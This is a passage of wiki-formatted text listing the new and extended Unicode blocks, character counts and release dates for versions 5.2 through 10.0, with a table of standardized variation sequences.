* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

